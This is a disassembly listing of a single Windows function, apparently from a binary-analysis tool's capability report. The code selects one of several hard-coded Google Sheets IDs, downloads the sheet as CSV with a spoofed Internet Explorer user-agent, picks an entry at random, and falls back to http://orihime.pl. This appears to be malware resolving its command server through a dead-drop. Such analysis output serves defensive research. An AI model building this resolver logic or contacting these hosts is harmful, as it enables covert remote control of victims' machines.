Function at 0x40cb80
Capabilities:
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5262ce
mov eax, dword fs:[0]
push eax
sub esp, 0x58
mov eax, dword [0x56f360]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
push 0x403b10
push 0x403b30
push 5
push 4
lea ecx, [ebp - 0x28]
xor esi, esi
push ecx
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x5c], esi
call fcn.004febb9
push 0x55105f
lea ecx, [ebp - 0x60]
mov dword [ebp - 4], 1
call fcn.00403590
push 0x55105f
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 2
call fcn.00403590
mov byte [ebp - 4], 3
call fcn.0041001b
xor ecx, ecx
cmp eax, esi
setne cl
cmp ecx, esi
jne 0x40cc10
push 0x80004005
call fcn.00403aa0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x4c], eax
mov byte [ebp - 4], 4
call fcn.0041001b
xor ecx, ecx
cmp eax, esi
setne cl
cmp ecx, esi
jne 0x40cc3d
push 0x80004005
call fcn.00403aa0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x38], eax
mov byte [ebp - 4], 5
call fcn.0041001b
xor ecx, ecx
cmp eax, esi
setne cl
cmp ecx, esi
jne 0x40cc6a
push 0x80004005
call fcn.00403aa0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x2c], eax
xor edi, edi
mov dword [ebp - 0x64], esi
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x40], esi
push esi
mov byte [ebp - 4], 7
call fcn.004ff0cd
add esp, 4
push eax
call fcn.004ff09a
add esp, 4
call fcn.004ff0ac
cdq
mov ecx, 5
idiv ecx
push 0x2e
push str.d_1R_O2tXou1fq8HLFGco3_FXsJDXGzZgkBO07X4DiddpA
lea ecx, [ebp - 0x28]
mov ebx, edx
call fcn.004039c0
push 0x32
push str.u_0_d_1X2_5j59KDJun3NS6fe2AT1EWBauIj4dXMTkfbrhetyo
lea ecx, [ebp - 0x24]
call fcn.004039c0
push 0x32
push str.u_0_d_1aGNYApk3oQEBnm_80Zb_TzpMnsXnZx7yWrQksu30RXI
lea ecx, [ebp - 0x20]
call fcn.004039c0
push 0x2e
push str.d_1iLFF4Q0MlXrWJ4PcXeKxebHnFBAg_Ir2eOFRE6nvyE4
lea ecx, [ebp - 0x1c]
call fcn.004039c0
push 0x32
push str.u_0_d_1XiRZUOHCBmqohLM7oesfW_Ykj_TmWXSl0NGlYQNyceg
lea ecx, [ebp - 0x18]
call fcn.004039c0
push 0x25
push str.https:__docs.google.com_spreadsheets_
lea ecx, [ebp - 0x30]
call fcn.004039c0
lea eax, [ebp + ebx*4 - 0x28]
mov eax, dword [eax]
mov ecx, dword [eax - 0xc]
push ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.004030d0
push 0x12
push str._export_formatcsv
lea ecx, [ebp - 0x30]
call fcn.004030d0
call fcn.004024b0
push ecx
mov ecx, esp
mov dword [ebp - 0x50], esp
push 0x55105f
call fcn.00403590
push ecx
mov byte [ebp - 4], 8
mov ecx, esp
mov dword [ebp - 0x34], esp
push 0x55105f
call fcn.00403590
push 0x55105f
push 0x55105f
push str.Mozilla_5.0__compatible__MSIE_10.0__Windows_NT_6.2__WOW64__Trident_6.0_
push 1
push edi
mov byte [ebp - 4], 9
push edi
push edi
push ecx
lea edx, [ebp - 0x30]
mov dword [ebp - 0x54], esp
mov ecx, esp
push edx
call fcn.00403660
mov byte [ebp - 4], 7
call fcn.004012c0
mov eax, 0x58640c
lea ecx, [eax + 1]
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40cd90
sub eax, ecx
push eax
push 0x58640c
lea ecx, [ebp - 0x38]
call fcn.004039c0
mov eax, dword [ebp - 0x38]
mov eax, dword [eax - 0xc]
test eax, eax
jle 0x40cfdc
lea ecx, [ebp - 0x64]
push ecx
push 0x55113c
lea edx, [ebp - 0x34]
push edx
lea ecx, [ebp - 0x38]
call fcn.0040deb0
push eax
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0xa
call fcn.00403750
mov byte [ebp - 4], 7
mov eax, dword [ebp - 0x34]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40cdfa
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [ebp - 0x2c]
push 0x55105f
push ecx
call fcn.004ff083
add esp, 8
test eax, eax
setne al
test al, al
je 0x40cf94
lea edx, [ebp - 0x2c]
cmp edx, esi
jae 0x40ce8d
mov eax, edx
cmp edi, eax
ja 0x40ce8d
mov ecx, dword [ebp - 0x40]
mov ebx, edx
sub ebx, edi
sar ebx, 2
cmp esi, ecx
jne 0x40ce79
mov eax, esi
sub eax, edi
sar eax, 2
cmp eax, 0x3ffffffe
ja 0x40cf8a
sub ecx, edi
inc eax
sar ecx, 2
cmp eax, ecx
jbe 0x40ce79
mov edx, ecx
shr edx, 1
mov esi, 0x3fffffff
sub esi, edx
cmp esi, ecx
jae 0x40ce62
xor ecx, ecx
jmp 0x40ce64
add ecx, edx
cmp ecx, eax
jae 0x40ce6a
mov ecx, eax
push ecx
lea ecx, [ebp - 0x48]
call fcn.0040f850
mov esi, dword [ebp - 0x44]
mov edi, dword [ebp - 0x48]
lea eax, [edi + ebx*4]
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x34], esi
mov byte [ebp - 4], 0xb
test esi, esi
je 0x40cef3
push eax
jmp 0x40ceec
mov ecx, dword [ebp - 0x40]
cmp esi, ecx
jne 0x40ceda
mov eax, esi
sub eax, edi
sar eax, 2
cmp eax, 0x3ffffffe
ja 0x40cf8a
sub ecx, edi
inc eax
sar ecx, 2
cmp eax, ecx
jbe 0x40ceda
mov edx, ecx
shr edx, 1
mov esi, 0x3fffffff
sub esi, edx
cmp esi, ecx
jae 0x40cec3
xor ecx, ecx
jmp 0x40cec5
add ecx, edx
cmp ecx, eax
jae 0x40cecb
mov ecx, eax
push ecx
lea ecx, [ebp - 0x48]
call fcn.0040f850
mov esi, dword [ebp - 0x44]
mov edi, dword [ebp - 0x48]
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x34], esi
mov byte [ebp - 4], 0xc
test esi, esi
je 0x40cef3
lea ecx, [ebp - 0x2c]
push ecx
mov ecx, esi
call fcn.00403660
lea edx, [ebp - 0x64]
push edx
push 0x55113c
lea eax, [ebp - 0x50]
mov byte [ebp - 4], 7
add esi, 4
push eax
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x44], esi
call fcn.0040deb0
mov byte [ebp - 4], 0xd
mov ecx, dword [eax]
mov ebx, dword [ebp - 0x2c]
lea eax, [ecx - 0x10]
add ebx, 0xfffffff0
cmp eax, ebx
je 0x40cf6e
cmp dword [ebx + 0xc], 0
jl 0x40cf61
mov edx, dword [eax]
cmp edx, dword [ebx]
jne 0x40cf61
push eax
call fcn.004036e0
mov dword [ebp - 0x34], eax
add esp, 4
lea eax, [ebx + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x40cf56
mov ecx, dword [ebx]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push ebx
call eax
mov ecx, dword [ebp - 0x34]
add ecx, 0x10
mov dword [ebp - 0x2c], ecx
jmp 0x40cf6e
mov eax, dword [ecx - 0xc]
push eax
push ecx
lea ecx, [ebp - 0x2c]
call fcn.004039c0
mov byte [ebp - 4], 7
mov eax, dword [ebp - 0x50]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jmp 0x40cdee
push str.vector_T__too_long
call fcn.00518eaf
sub esi, edi
sar esi, 2
test esi, esi
je 0x40cfdc
call fcn.004ff0ac
xor edx, edx
div esi
mov esi, dword [ebp - 0x58]
mov ecx, esi
lea edi, [edi + edx*4]
push edi
call fcn.00403660
lea ebx, [ebp - 0x48]
mov dword [ebp - 0x5c], 1
call fcn.0040f190
mov byte [ebp - 4], 5
mov eax, dword [ebp - 0x2c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jmp 0x40d011
mov esi, dword [ebp - 0x58]
push str.http:__orihime.pl
mov ecx, esi
call fcn.00403590
lea ebx, [ebp - 0x48]
mov dword [ebp - 0x5c], 1
call fcn.0040f190
mov byte [ebp - 4], 5
mov eax, dword [ebp - 0x2c]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40d01d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 4
mov eax, dword [ebp - 0x38]
add eax, 0xfffffff0
or edx, 0xffffffff
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40d040
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0x4c]
add eax, 0xfffffff0
or edx, 0xffffffff
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40d063
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x30]
add eax, 0xfffffff0
or edx, 0xffffffff
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40d086
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x60]
add eax, 0xfffffff0
or edx, 0xffffffff
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40d0a9
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push 0x403b10
push 5
push 4
lea ecx, [ebp - 0x28]
push ecx
mov byte [ebp - 4], 0
call fcn.004fea1c
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004fd9f8
mov esp, ebp
pop ebp
ret